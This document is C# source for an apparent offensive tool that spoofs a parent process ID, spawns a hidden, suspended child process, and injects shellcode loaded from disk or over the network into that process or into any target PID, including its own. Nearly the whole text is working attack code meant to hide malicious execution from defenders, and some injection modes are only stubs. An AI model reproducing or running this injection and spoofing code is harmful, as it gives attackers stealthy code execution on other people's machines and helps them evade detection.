public Win32.PROCESS_INFORMATION Init(int parentID, string childPath) { // https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-startupinfoex-from-c-sharp-and-re-parent-the-ch const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; const int STARTF_USESTDHANDLES = 0x00000100; const int STARTF_USESHOWWINDOW = 0x00000001; const ushort SW_HIDE = 0x0000; const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; const uint CREATE_NO_WINDOW = 0x08000000; const uint CreateSuspended = 0x00000004; var pInfo = new Win32.PROCESS_INFORMATION(); var siEx = new Win32.STARTUPINFOEX(); IntPtr lpValueProc = IntPtr.Zero; IntPtr hSourceProcessHandle = IntPtr.Zero; var lpSize = IntPtr.Zero; Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); Win32.InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize); IntPtr parentHandle = Win32.OpenProcess((uint)Win32.ProcessAccessFlags.CreateProcess | (uint)Win32.ProcessAccessFlags.DuplicateHandle, false, (uint)parentID); Console.WriteLine($"[>] Handle {parentHandle} opened for parent process id."); lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, parentHandle); Win32.UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); Console.WriteLine($"[>] Adding attributes to a list."); siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; siEx.StartupInfo.wShowWindow = SW_HIDE; var ps = new Win32.SECURITY_ATTRIBUTES(); var ts = new Win32.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); try { bool ProcCreate = Win32.CreateProcess(childPath, null, ref ps, ref ts, true, CreateSuspended | EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo); if (!ProcCreate) { Console.WriteLine($"[!] Proccess failed to execute!"); throw new System.Exception("Process parent failed to start"); } Console.WriteLine($"[>] Parent PID: {pInfo.dwProcessId} suspended."); } catch (Exception ex) { Console.WriteLine("[!] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); throw ex; } return(pInfo); }
static void Main(string[] args) { // init some vars yo bool isSelf = false; string targ = String.Empty; string form = String.Empty; string parent = String.Empty; string spawn = String.Empty; string meth = String.Empty; int pid = 0; byte[] sc; string[] keys = new string[] { "meth", "pid", "parent", "spawn", "targ", "form" }; if (args.Length > 0) { if (args[0].ToLower() == "-h" || args[0].ToLower() == "--help" || args[0].ToLower() == "help") { Help(); return; } } // parsing and normalization var parsed = Parser.ParseArgs(args, keys); if (!parsed.ContainsKey("meth")) { parsed["meth"] = "simple"; meth = parsed["meth"]; } else { meth = parsed["meth"]; } if (!parsed.ContainsKey("form")) { parsed["form"] = "bin"; form = parsed["form"]; } else { form = parsed["form"]; } if (parsed.ContainsKey("pid") && parsed["pid"].Length > 0) { if (parsed.ContainsKey("parent") || parsed.ContainsKey("spawn")) { Console.WriteLine("[!] Cannot pass in parent/spawn values with the pid option"); return; } parsed["parent"] = String.Empty; parsed["spawn"] = String.Empty; // pid = parsed["pid"] ; skip def for now } else { // parent spawn mode if (parsed.ContainsKey("pid")) { Console.WriteLine("[!] Cannot pass in pid with the parent/spawn option"); return; } else if (!parsed.ContainsKey("parent") || !parsed.ContainsKey("spawn")) { Console.WriteLine("[!] Arguments missing either parent or spawn args."); return; } parsed["pid"] = String.Empty; parent = parsed["parent"]; spawn = parsed["spawn"]; } Parser.DebugArgs(parsed, keys); // main work if (!Parser.ContainsAll(parsed, keys)) { Console.WriteLine("Issue with arguments."); Help(); return; } else { // main work after key check if (parent.Length > 0) { if (spawn.ToLower() == "browser") { spawn = Browser.FindBrowserExePath(); } else { spawn = Resolver.FullExeInPath(spawn); } if (spawn.Length < 1 || !File.Exists(spawn)) { Console.WriteLine($"[!] Spawn path {spawn} does not exist and could not be found."); return; } int parentPid = Resolver.PID(parent); Console.WriteLine($"[>] Parent: {parent}"); Console.WriteLine($"[>] Parent PID: {parentPid}"); Console.WriteLine($"[>] Spawn: {spawn}"); if (parentPid < 1) { Console.WriteLine("[!] Unable to resolve parent pid. Sorry. Quitting"); return; } form = form.ToLower(); targ = parsed["targ"]; sc = Resolver.SC(targ, form); if (sc.Length < 1) { Console.WriteLine($"[!] Invalid target {targ} or form {form}"); Console.WriteLine("[!] No target data resolved from disk/over network or invalid form value. Quiting."); return; } Parent par = new Parent(); Win32.PROCESS_INFORMATION info = par.Init(parentPid, spawn); if (meth == "simple") { try { IntPtr hProcess = Simple.Run(sc, info.dwProcessId, false); Win32.CloseHandle(hProcess); } catch (Exception e) { Console.WriteLine("[!] A bad thing happened. Sorry about that."); DumpError(e); return; } } else if (meth == "hal") { Console.WriteLine("[>] Hal mode activated"); } else { Console.WriteLine($"Invalid meth option '{meth}'. Valid options are hal, simple, or apc"); return; } } else { Console.WriteLine("[>] Live mode activated."); if (parsed["pid"].ToLower() == "self") { isSelf = true; } pid = Resolver.PID(parsed["pid"]); if (pid < 1) { string dbgPid = parsed["pid"]; Console.WriteLine($"[!] Unable to find pid {dbgPid}."); return; } // target pid can be numeric id, 'self', or name or process Console.WriteLine($"[>] Target pid: {pid}"); form = form.ToLower(); targ = parsed["targ"]; sc = Resolver.SC(targ, form); if (sc.Length < 1) { Console.WriteLine($"[!] Invalid target {targ} or form {form}"); Console.WriteLine("[!] No target data resolved from disk/over network or invalid form value. Quiting."); return; } meth = meth.ToLower(); if (meth == "simple") { try { Simple.Run(sc, pid, isSelf); } catch (Exception e) { Console.WriteLine("[!] A bad thing happened. Sorry about that."); DumpError(e); return; } } else if (meth == "hal") { Console.WriteLine("[>] Hal mode activated"); } else { Console.WriteLine($"Invalid meth option '{meth}'. Valid options are hal, simple, or apc"); return; } } } }